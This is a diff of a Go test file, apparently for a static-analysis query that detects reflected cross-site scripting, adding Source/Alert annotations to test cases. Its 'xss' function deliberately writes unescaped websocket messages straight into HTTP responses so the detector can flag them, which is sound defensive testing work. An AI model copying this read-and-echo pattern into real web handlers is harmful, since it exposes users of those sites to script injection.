"nhooyr.io/websocket" ) -func marshal(v interface{}) (data []byte, payloadType byte, err error) { +func marshal(v any) (data []byte, payloadType byte, err error) { return nil, 0, nil } -func unmarshal(data []byte, payloadType byte, v interface{}) (err error) { +func unmarshal(data []byte, payloadType byte, v any) (err error) { return nil } @@ -27,32 +27,32 @@ func xss(w http.ResponseWriter, r *http.Request) { origin := "test" { ws, _ := websocket.Dial(uri, "", origin) - var xnet = make([]byte, 512) + var xnet = make([]byte, 512) // $ Source[go/reflected-xss] ws.Read(xnet) - fmt.Fprintf(w, "%v", xnet) - codec := &websocket.Codec{marshal, unmarshal} - xnet2 := make([]byte, 512) + fmt.Fprintf(w, "%v", xnet) // $ Alert[go/reflected-xss] + codec := &websocket.Codec{Marshal: marshal, Unmarshal: unmarshal} + xnet2 := make([]byte, 512) // $ Source[go/reflected-xss] codec.Receive(ws, xnet2) - fmt.Fprintf(w, "%v", xnet2) + fmt.Fprintf(w, "%v", xnet2) // $ Alert[go/reflected-xss] } { n, _, _ := nhooyr.Dial(context.TODO(), uri, nil) - _, nhooyr, _ := n.Read(context.TODO()) - fmt.Fprintf(w, "%v", nhooyr) + _, nhooyr, _ := n.Read(context.TODO()) // $ Source[go/reflected-xss] + fmt.Fprintf(w, "%v", nhooyr) // $ Alert[go/reflected-xss] } { dialer := gorilla.Dialer{} conn, _, _ := dialer.Dial(uri, nil) - var gorillaMsg = make([]byte, 512) + var gorillaMsg = make([]byte, 512) // $ Source[go/reflected-xss] gorilla.ReadJSON(conn, gorillaMsg) - fmt.Fprintf(w, "%v", gorillaMsg) + fmt.Fprintf(w, "%v", gorillaMsg) // $ Alert[go/reflected-xss] - gorilla2 := make([]byte, 512) + gorilla2 := make([]byte, 512) // $ Source[go/reflected-xss] conn.ReadJSON(gorilla2) - fmt.Fprintf(w, "%v", gorilla2) + fmt.Fprintf(w, "%v", gorilla2) // $ Alert[go/reflected-xss] - _, gorilla3, _ := conn.ReadMessage() - fmt.Fprintf(w, "%v", gorilla3) + _, gorilla3, _ := conn.ReadMessage() // $ Source[go/reflected-xss] + fmt.Fprintf(w, "%v", gorilla3) // $ Alert[go/reflected-xss] } }